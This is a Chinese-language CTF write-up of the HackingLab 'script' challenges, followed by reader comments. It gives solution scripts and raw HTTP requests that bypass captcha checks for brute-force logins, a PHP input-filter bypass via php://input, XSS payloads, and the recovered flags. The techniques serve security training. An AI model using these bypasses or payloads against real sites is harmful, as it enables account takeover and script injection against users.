HackingLab脚本关部分题目还是有点难度的。
0x01 key又又找不到了
小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!
通关地址
点这个链接,跳转到了另一个没有key的页面,抓包看看,注意截断response包,拿到key。
<script>window.location="./no_key_is_here_forever.php"; </script>
key is : yougotit_script_now
0x02 快速口算
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
通关地址
这道题需要用脚本抓取随机的算式计算出结果然后提交,坑的是有一个验证用户的地方折腾了好一阵子,最后用了requests
库的session
解决了。
# coding=utf-8
import requests, re, sys
reload(sys)
sys.setdefaultencoding('utf-8')
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
req = requests.session()
get = req.get(url)
r = re.findall(r'<br/>[\d|\D](.*?)=<', get.content)[0].strip()
print eval(r)
post = req.post(url, data={'v': eval(r)})
key = re.findall(r'<body>(.*?)</', post.content)[0].strip()
print key
python
的eval
真是神器啊。
0x03 这个题目是空的
Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)
这题就出的挺无聊的,为空的值挨个试试,最后答案是null
。
0x04 怎么就是不弹出key呢?
提交说明:提交前14个字符即可过关
通关地址
查看源码发现一大堆js
代码,把alert
、document.write
、prompt
这些函数都变成了return false
,所以才说没法弹出key。
直接用浏览器的console
就可以搞定了,稍稍改下以便于提交。
var a=function ()
{
var b=function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))',62,98,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'),0,{});
var d=eval(b);
console.log("key is first 14 chars\n"+d.substr(0,14));
}
key is first 14 chars
slakfjteslkjsd
0x05 逗比验证码第一期
逗比的验证码,有没有难道不一样吗?
通关地址
验证码使用过后不过期,直接爆破即可。
Payload: 1238
key is LJLJL789sdf#@sd
0x06 逗比验证码第二期
验证便失效的验证码
通关地址
这次变高级了一点,验证一次过后就会失效,但是可以在失效后把包里的验证码删掉再发包,服务端就不再验证验证码的内容了。
POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1
Host: lab1.xseclab.com
Content-Length: 43
Cache-Control: max-age=0
Origin: http://lab1.xseclab.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-GB;q=0.6,en;q=0.4
Cookie: PHPSESSID=c289201fc36523dabee2b3a30846c08f
Connection: close
username=admin&pwd=123&vcode=&submit=submit
这样就可以爆破了。
Payload: 1228
key is LJLJL789ss33fasvxcvsdf#@sd
0x07 逗比的验证码第三期(SESSION)
尼玛,验证码怎么可以这样逗比。。验证码做成这样,你家里人知道吗?
通关地址
加入了session验证,把cookies的内容删掉就好。
POST /vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php HTTP/1.1
Host: lab1.xseclab.com
Content-Length: 43
Cache-Control: max-age=0
Origin: http://lab1.xseclab.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-GB;q=0.6,en;q=0.4
Cookie: PHPSESSID=
Connection: close
username=admin&pwd=123&vcode=&submit=submit
Payload: 1298
key is LJLJLfuckvcodesdf#@sd
0x08 微笑一下就能过关了
尼玛,碰到这样的题我能笑得出来嘛...
通关地址
这题还有点难度(代码审计的我都不怎么会。。。),可以看到源码。
<?php
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>
自己搭个环境挨个echo
一下,慢慢调,可以看出主要考察了三个地方,第一个是$_SERVER['QUERY_STRING']
,此处^_^
不合法;第二个是那一串匹配和@file_get_contents
,用伪协议可以绕过;第三处是笑脸的编码,这个地方最坑。。。被网上的各种转码坑惨了。。。
第一处绕过是利用PHP的一个特性,.
、[]
等符号作为key
提交时会被转为_
,而$_SERVER['QUERY_STRING']
直接提取URL则不会转。
第三处各种编码都不行,实在搞不定,用Python自己搞(用Linux下的),果然网上的编码转换都有bug!正确的URL编码应该是%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29
。
# coding=utf-8
import urllib, sys
reload(sys)
sys.setdefaultencoding('utf-8')
print urllib.quote("(●'◡'●)")
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input
POST提交如下字符串的URL解码(â'â¡'â)
%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29
0x09 逗比的手机验证码
你的手机号码是13388886666,验证码将会以弹窗的形式给出
通关地址
顺着他的意思来就行了。
key is LJLJLGod!@@sd
0x0A 基情燃烧的岁月
Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666
通关地址
看不到验证码了,爆破,第一轮出来一个手机号,改掉后再爆破,出来key。
前任的手机号码是:13399999999
key is LKK8*(!@@sd
0x0B 验证码识别
Tips:验证码依然是3位数
通关地址
这次要图像识别了,上神器,pkav的http fuzzer,图像识别那里加上自己的cookies,注意选单线程,多线程会出现验证码失效的情况。
key is 133dbc85dda4aa**)
0x0C XSS基础关
XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>
通关地址
用最简单的payload就可以,不过不能用chrome浏览器,好像会过滤掉,用firefox即可。
<script>alert(HackingLab)</script>
key is: myxssteststart!
0x0D XSS基础2:简单绕过
很容易就可以过关.
通关地址
<img src=1 onerror=alert(HackingLab)>
key is: xss2test2you
其实也可以burp抓返回包,直接用上一题的payload弹,一样有key。
0x0E XSS基础3:检测与构造
Tips:不是很难
通关地址
还是用burp抓包,不过<script>
用不了,用<img>
就行了。
xss3test2youOK_striptag
0x0F Principle很重要的XSS
原理/原则/理念很重要.....不是所有的xss都叫特仑苏..
Take it easy!
通关地址
和上一题一样。。。可能是我不太懂出题人的意思?
key is: xss4isnoteasy
请问 Principle 很重要的 XSS 这道题你的payload确定对吗?我怎么不行
可能题目变了?
那请问这道题现在怎么做……我解不开
请问一下0x08是怎么实现url解码以后得到(â'â¡'â),我自己不管怎么样得到的都是(●'◡'●)。望解答,感谢。
不就是弄成笑脸么?